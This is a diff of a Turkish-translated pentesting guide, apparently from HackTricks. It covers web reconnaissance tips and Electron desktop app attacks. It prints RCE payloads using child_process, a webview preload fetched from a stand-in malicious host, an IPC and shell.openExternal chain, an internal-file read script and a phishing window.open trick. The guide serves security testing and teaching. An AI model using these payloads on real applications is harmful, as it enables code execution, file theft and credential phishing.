- **API keys**: Herhangi bir API key bulursanız, farklı platformların API key'lerini nasıl kullanacağınızla ilgili rehberler şunlardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: **AIza** ile başlayan bir API key bulursanız (örnek: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), hangi API'lere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link**in bir **S3 bucket** ile ilişkili olup olmadığına bakın. Bu durumda, bucket'ın [**permissions**ini kontrol edin](buckets/index.html).
### Special findings
**Spidering** ve **brute-forcing** gerçekleştirirken fark etmeniz gereken **ilginç** **şeyler** bulabilirsiniz.
**Spidering** ve **brute-forcing** yaparken fark etmeniz gereken **ilginç** şeyler bulabilirsiniz.
**Interesting files**
- **CSS** dosyaları içinde diğer dosyalara işaret eden **link**ler arayın.
- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkartılabilir](git.md)
- CSS dosyaları içinde diğer dosyalara işaret eden **link**'leri arayın.
- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md)
- Eğer bir _**.env**_ bulursanız, api key'ler, db şifreleri ve diğer bilgiler bulunabilir.
- Eğer **API endpoints** bulursanız, bunları da [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir, ama muhtemelen dosya gibi "görüneceklerdir".
- **JS files**: Spidering bölümünde JS dosyalarından path çıkartabilen araçlardan bahsedildi. Ayrıca bulunan her JS dosyasını **monitor** etmek ilginç olabilir; bazı durumlarda bir değişiklik, kodda potansiyel bir zafiyetin eklendiğini gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)** kullanılabilir.**
- Keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zafiyet içerip içermediğine bakmalısınız.
- Eğer **API endpoints** bulursanız, onları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya değillerdir ama muhtemelen dosya gibi "görünebilirler".
- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araç listelendi. Ayrıca, bulunan her JS dosyasını **izlemek** ilginç olabilir; bazı durumlarda bir değişiklik, koda yeni bir zafiyet eklendiğinin göstergesi olabilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir.
- Keşfedilen JS dosyalarını ayrıca zafiyet için [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- Birçok durumda, kullanılan regular expression'ları anlamanız gerekecektir. Bunun için faydalı olabilir: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
- Formların tespit edildiği dosyaları da monitor edebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkışı potansiyel yeni bir vulnerable fonksiyonu gösterebilir.
- Birçok durumda kullanılan regular expression'ları anlamanız gerekecektir. Bunun için yararlı araçlar: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex)
- Formların tespit edildiği dosyaları da izleyebilirsiniz; parametredeki bir değişim veya yeni bir formun ortaya çıkması potansiyel yeni bir zafiyetin göstergesi olabilir.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -314,21 +313,21 @@ _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, her
**502 Proxy Error**
Eğer herhangi bir sayfa bu **kodla** cevap veriyorsa, muhtemelen **yanlış yapılandırılmış bir proxy** vardır. **Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host header ve diğer yaygın header'lar ile), **proxy** _**google.com**_'a erişmeye çalışacak ve böylece bir** SSRF** bulmuş olacaksınız.
Eğer herhangi bir sayfa bu kod ile cevap veriyorsa, muhtemelen hatalı yapılandırılmış bir proxy vardır. **GET https://google.com HTTP/1.1** gibi bir HTTP isteği gönderirseniz (host header ve diğer yaygın header'larla birlikte), proxy _**google.com**_'a erişmeye çalışacak ve böylece bir SSRF bulmuş olacaksınız.
**NTLM Authentication - Info disclosure**
Eğer authentication isteyen sunucu **Windows** ise ya da domain adı soran bir login görürseniz, bir **information disclosure** provoke edebilirsiniz.\
Aşağıdaki **header**'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle, sunucu "WWW-Authenticate" header'ı içinde internal bilgi (IIS version, Windows version...) ile cevap verecektir.\
Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanabilirsiniz.
Eğer authentication isteyen sunucu **Windows** ise veya giriş bölümü sizden **credentials** (ve **domain** adı) istiyorsa, bir **information disclosure** tetikleyebilirsiniz.\
Aşağıdaki header'ı **gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli gereği, sunucu cevap header'ı "WWW-Authenticate" içinde iç ağ bilgilerini (IIS versiyonu, Windows versiyonu...) döndürecektir.\
Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanılabilir.
**HTTP Redirect (CTF)**
Bir **Redirection** içinde içerik koymak mümkündür. Bu içerik **kullanıcıya gösterilmez** (tarayıcı redirect'i gerçekleştireceğinden) ama burada bir şey **gizlenmiş** olabilir.
Bir **Redirection** içine içerik koymak mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (tarayıcı yönlendirmeyi gerçekleştirecektir) ancak yönlendirme içinde bir şey **saklanmış** olabilir.
### Web Vulnerabilities Checking
Web uygulamasının kapsamlı bir enumerasyonu yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı. Kontrol listesi burada bulunabilir:
Web uygulamasının kapsamlı bir enumerasyonu yapıldıktan sonra, birçok olası zafiyet için kontrol zamanı. Kontrol listesi burada bulunuyor:
{{#ref}}
@ -343,7 +342,7 @@ Web zafiyetleri hakkında daha fazla bilgi:
### Monitor Pages for changes
Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz; bu değişiklikler zafiyetlerin eklenmesine neden olabilir.
Sayfalarda zafiyet eklenebilecek değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
### HackTricks Automatic Commands
```

210
src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
View File

@ -4,14 +4,14 @@
## Giriş
Electron, yerel bir backend (**NodeJS** ile) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Electron, yerel bir backend (**NodeJS**) ve bir frontend (**Chromium**) içerir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle Electron uygulama kodunu bir `.asar` uygulamasının içinde bulursunuz; koda erişmek için bunu çıkarmanız gerekir:
Genellikle Electron uygulama kodunu bir `.asar` arşivinin içinde bulabilirsiniz; koda ulaşmak için bunu çıkarmanız gerekir:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasını bulabilirsiniz.
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini görebilirsiniz.
```json
{
"name": "standard-notes",
@ -19,12 +19,12 @@ Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yap
```
Electron'un 2 işlem türü vardır:
- Main Process (NodeJS'e tam erişimi vardır)
- Renderer Process (güvenlik nedeniyle NodeJS erişimi kısıtlanmış olmalıdır)
- Ana İşlem (NodeJS'e tam erişimi vardır)
- Renderer İşlemi (güvenlik nedeniyle NodeJS erişimi kısıtlanmalıdır)
![](<../../../images/image (182).png>)
Bir **renderer process**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
Bir **renderer işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Ayarlar, **renderer işlemi** için **main işlemi** içinde yer alan main.js dosyasında **yapılandırılabilir**. Bu yapılandırmalardan bazıları, **Electron uygulamasının RCE veya diğer zafiyetler kazanmasını önler** eğer **ayarlar doğru yapılandırılmışsa**.
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
Electron uygulaması, önlenebilse de Node API'leri aracılığıyla **cihaza erişebilir**:
Electron uygulamasının Node API'leri aracılığıyla cihaza erişimi olabilir; ancak bu erişim engellenebilir:
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer işleminden node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on`'dur. Eğer `off` ise, main ve renderer işlemleri izole değildir.
- **`preload`** - varsayılan olarak boş.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
- Workers'ta Node Integration
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten Node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'ler izole değildir.
- **`preload`** - varsayılan olarak boştur.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. Bu, NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
- Workers içinde Node Integration
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur.
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içindeki iframe'lere **yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
- Eğer **`nodeIntegration`** **devre dışıysa**, preload'lar iframe içinde yüklenecektir
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lerde yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir.
- Eğer **`nodeIntegration`** **devre dışıysa**, preloads iframe içinde yüklenecektir.
Example of configuration:
```javascript
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Bazı **RCE payloads** şu adreste: [here](https://7as.es/electron/nodeIntegration_rce.txt):
Bazı **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Trafiği yakalama
### Trafik yakalama
start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımını ekleyin:
```javascript
@ -103,7 +103,7 @@ start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımın
```
## Electron Local Code Injection
Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, arbitrary javascript code çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şurada kontrol edin:
Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynakta kontrol edin:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +111,7 @@ Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, arbitrary javasc
## RCE: XSS + nodeIntegration
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağrısı yaparak Node.js özelliklerini kolayca kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Bu ayarda belirtilen script, **renderer içindeki diğer scriptlerden önce yüklenir**, bu yüzden **Node APIs'e sınırsız erişime** sahiptir:
Bu ayarda belirtilen script **renderer'daki diğer scriptlerden önce yüklenir**, bu yüzden **Node APIs'ye sınırsız erişimi** vardır:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +132,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Bu nedenle script node-features'i sayfalara aktarabilir:
Bu nedenle, script node-features'ı sayfalara aktarabilir:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,17 +148,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Eğer `contextIsolation` etkinse, bu çalışmaz**
> [!NOTE] > **Eğer `contextIsolation` açık ise, bu çalışmaz**
## RCE: XSS + contextIsolation
_**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrı çalışma bağlamları (contexts) oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.
The _**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrılmış bağlamlar oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
Eğer bağlamlar izole değilse bir saldırgan şunları yapabilir:
If the contexts aren't isolated an attacker can:
1. Execute **arbitrary JavaScript in renderer** (XSS veya harici sitelere yönlendirme)
2. Preload veya Electron'un dahili kodunda kullanılan **Overwrite the built-in method**'u değiştirip kendi fonksiyonunu koymak
3. **Trigger** ile **overwritten function** kullanımını tetiklemek
1. Renderer'da **keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme)
2. Preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu üzerine yazarak** fonksiyonu ele geçirmek
3. **Tetiklemek** üzerine yazılmış **fonksiyonun** kullanılmasını
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -180,22 +180,22 @@ electron-contextisolation-rce-via-ipc.md
### Tıklama olayını atlatma
Eğer bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal sol tıklama yerine **orta tıklama yaparak** atlatabilirsiniz.
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, normal sol tıklama yerine **orta tıklama yaparak** bunları atlayabilirsiniz.
```javascript
window.addEventListener('click', (e) => {
```
## RCE ile shell.openExternal
## RCE via shell.openExternal
Bu örnekler hakkında daha fazla bilgi için bakınız: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Bu örnekler hakkında daha fazla bilgi için bakınız [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların yapıldığından emin olmak hayati önem taşır. Bu ayarların etkin olması durumunda, preload script'lerini veya Electron'un native kodunu main process'ten hedef alan client-side remote code execution (RCE) büyük ölçüde engellenmiş olur.
Electron masaüstü uygulamasını dağıtırken `nodeIntegration` ve `contextIsolation` için doğru ayarları sağlamak çok önemlidir. Bu ayarların etkin olduğu durumda, main process'ten preload scriptlerine veya Electron'un native koduna yönelik **client-side remote code execution (RCE)**'nin etkin bir şekilde önlendiği kabul edilir.
Kullanıcı linklerle etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Bu dinleyiciler, uygulamanın kendi **iş mantığını** uygulamak amacıyla masaüstü uygulama tarafından **geçersiz kılınır**. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` fonksiyonunu kullanarak harici olarak açılması gerektiğini gösterir.
Bu dinleyiciler, masaüstü uygulaması tarafından kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, erişilen bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` işlevi kullanılarak harici olarak açılması gerektiğini gösterir.
**Here is a simplified pseudocode:**
@ -203,9 +203,9 @@ Bu dinleyiciler, uygulamanın kendi **iş mantığını** uygulamak amacıyla ma
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvensiz içeriğin kabul edilmemesini önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE tetikleyebilecek farklı protokolleri destekler. Bu konuyla ilgili ayrıntılı örnekler ve daha fazla açıklama için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) kaynağına bakılabilir; kaynak, bu güvenlik açığını kullanabilecek Windows protokol örneklerini içerir.
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
macos'ta, `openExternal` fonksiyonu `shell.openExternal('file:///System/Applications/Calculator.app')` örneğinde olduğu gibi rastgele komutları çalıştırmak için kötüye kullanılabilir.
In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Examples of Windows protocol exploits include:**
```html
@ -229,15 +229,15 @@ window.open(
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Bu vuln **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** içinde bulunabilir.
Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** içinde bulunabilir.
**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özellik** olup, preload context içine aşağıdaki gibi bir script yüklenmesine izin verdiği için devre dışı bırakılmalıdır:
The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload** context şöyle:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan, o etiketi **load an arbitrary preload script** yüklemek için kullanabilirdi.
Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **rastgele bir preload script yükleyebilirdi**.
Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)** çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`** çağırıyordu:
Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)**'ı çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -248,13 +248,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
}, 5000);
})();
```
## İç Dosyaları Okuma: XSS + contextIsolation
## İç Dosyaların Okunması: XSS + contextIsolation
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve exfiltrating için `<webview>` etiketlerinin `<iframe>` benzeri kullanımına izin verir.** Verilen bir örnek, bu zafiyeti exploit ederek iç dosyaların içeriğini nasıl okuyabileceğini gösterir:
**`contextIsolation`'ı devre dışı bırakmak `<webview>` etiketlerinin kullanılmasına izin verir**, `<iframe>`'e benzer şekilde yerel dosyaların okunması ve exfiltrating için. Verilen bir örnek, bu zafiyeti iç dosyaların içeriğini okumak için nasıl istismar edileceğini gösterir:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Ayrıca, iç bir dosyayı okuma için başka bir yöntem paylaşılıyor; bu, bir Electron desktop app'te kritik bir local file read vulnerability olduğunu vurguluyor. Bu, uygulamayı exploit etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:
Ayrıca, **iç bir dosyanın okunması** için başka bir yöntem paylaşılmış; bu, bir Electron desktop app içinde kritik bir yerel dosya okuma zafiyetini vurgular. Bu, uygulamayı istismar etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:
```html
<br /><br /><br /><br />
<h1>
@ -270,29 +270,29 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Eski chromium**
## **RCE: XSS + Old Chromium**
If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
Bir örneğini bu **writeup**'ta görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Eğer uygulamada kullanılan **chromium** **eski** ise ve üzerinde **bilinen** **vulnerabilities** varsa, onu **exploit** ederek ve bir **XSS** aracılığıyla **RCE** elde etmek mümkün olabilir.\
Bir örneğini bu **writeup** içinde görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
Diyelim ki bir **XSS** buldunuz fakat **RCE'yi tetikleyemiyor veya dahili dosyaları çalamıyorsanız**, bunu **phishing** yoluyla kimlik bilgilerini çalmak için kullanmayı deneyebilirsiniz.
Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğunu bilmeniz gerekir; front-end'deki JS kodunu kontrol ederek:
Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğunun farkında olmalısınız; bunu anlamak için front-end'deki **JS** kodunu kontrol edin:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** çağrısı, bir **link**in platforma ait olduğu durumda **desktop window** içinde **opened** mı olacağını, **or** **browser as a 3rd party resource** içinde mi açılacağını belirler.
**`openInternally`** çağrısı, bir **linkin** platforma ait bir bağlantı olması halinde **desktop penceresinde** **açılıp açılmayacağını**, **ya da** üçüncü taraf bir kaynak olarak **tarayıcıda** **açılıp açılmayacağını** belirler.
Eğer fonksiyon tarafından kullanılan **regex** **vulnerable to bypasses** ise (örneğin **not escaping the dots of subdomains**), bir saldırgan **XSS**'i suistimal ederek saldırganın altyapısında yer alacak ve kullanıcıdan kimlik bilgisi isteyen yeni bir pencereyi **open a new window which** **asking for credentials** açabilir:
Eğer fonksiyon tarafından kullanılan **regex** **bypass'lara karşı savunmasız** ise (örneğin **subdomains noktalarının kaçışlandırılmaması** gibi), bir saldırgan XSS'i suistimal ederek **kullanıcıdan kimlik bilgilerini isteyen** ve saldırganın altyapısında yer alacak **yeni bir pencere açtırabilir**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protocol
## `file://` Protokol
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
@ -319,37 +319,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Sonra, renderer işlemi modülden nesneleri şu şekilde import edebilir:
Sonra, renderer işlemi modülden nesneleri şu şekilde içe aktarabilir:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** remote modülündeki **`app`** nesnesinin açığa çıkardığı bazı ilginç **fonksiyonları** işaret ediyor:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote module içindeki **`app`** nesnesi tarafından sağlanan bazı ilginç **fonksiyonları** gösteriyor:
- **`app.relaunch([options])`**
- **Uygulamayı yeniden başlatır**; mevcut örneği **kapatıp** yeni bir tane **başlatarak**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için kullanışlıdır.
- Mevcut örneği kapatıp yeni bir örnek başlatarak uygulamayı **yeniden başlatır**. Uygulama güncellemeleri veya önemli **durum değişiklikleri** için kullanışlıdır.
- **`app.setAppLogsPath([path])`**
- **Uygulama günlüklerini** saklamak için bir dizin **tanımlar** veya **oluşturur**. Günlüklere **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **erişilebilir** veya **değiştirilebilir**.
- Uygulama loglarını depolamak için bir dizin **tanımlar** veya **oluşturur**. Loglar **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- Mevcut yürütülebilir dosyayı belirtilen bir **protokol** için **varsayılan işleyici** olarak **kayıt eder**. Gerekirse bir **özel yol** ve **argümanlar** sağlayabilirsiniz.
- Belirtilen bir **protokol** için geçerli yürütülebilir dosyayı varsayılan **işleyici** olarak **kaydeder**. Gerekirse özel bir **path** ve **argümanlar** sağlayabilirsiniz.
- **`app.setUserTasks(tasks)`**
- **Jump List** içinde **Görevler kategorisine** görevler **ekler** (Windows). Her görev uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
- **Jump List** içindeki **Tasks** kategorisine görevler **ekler** (Windows). Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
- **`app.importCertificate(options, callback)`**
- PKCS#12 formatındaki bir **sertifikayı** sistemin **sertifika deposuna** **içe aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- Bir **PKCS#12 certificate**'ı sistemin **certificate store**'una **içe aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- **`app.moveToApplicationsFolder([options])`**
- Uygulamayı **Applications klasörüne** taşır (macOS). Mac kullanıcıları için **standart bir kurulum** sağlanmasına yardımcı olur.
- Uygulamayı **Applications folder**'a **taşır** (macOS). Mac kullanıcıları için standart bir kurulumun sağlanmasına yardımcı olur.
- **`app.setJumpList(categories)`**
- Windows’ta **özel bir Jump List** ayarlar veya kaldırır. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- Windows'ta özel bir **Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- **`app.setLoginItemSettings(settings)`**
- Hangi **yürütülebilir dosyaların** girişte (**login**) çalıştırılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
- Hangi yürütülebilir dosyaların girişte çalıştırılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
Example:
Örnek:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modülü
Electron'da sistem tercihlerine erişmek ve **sistem olayları yayımlamak** için birincil **API**. Şu yöntemler — **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, ve **setUserDefault** — tamamı bu modülün **parçasıdır**.
Electron'da sistem tercihlerine erişmek ve **sistem olaylarını tetiklemek** için kullanılan **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemler bu modülün **parçasıdır**.
**Örnek kullanım:**
```javascript
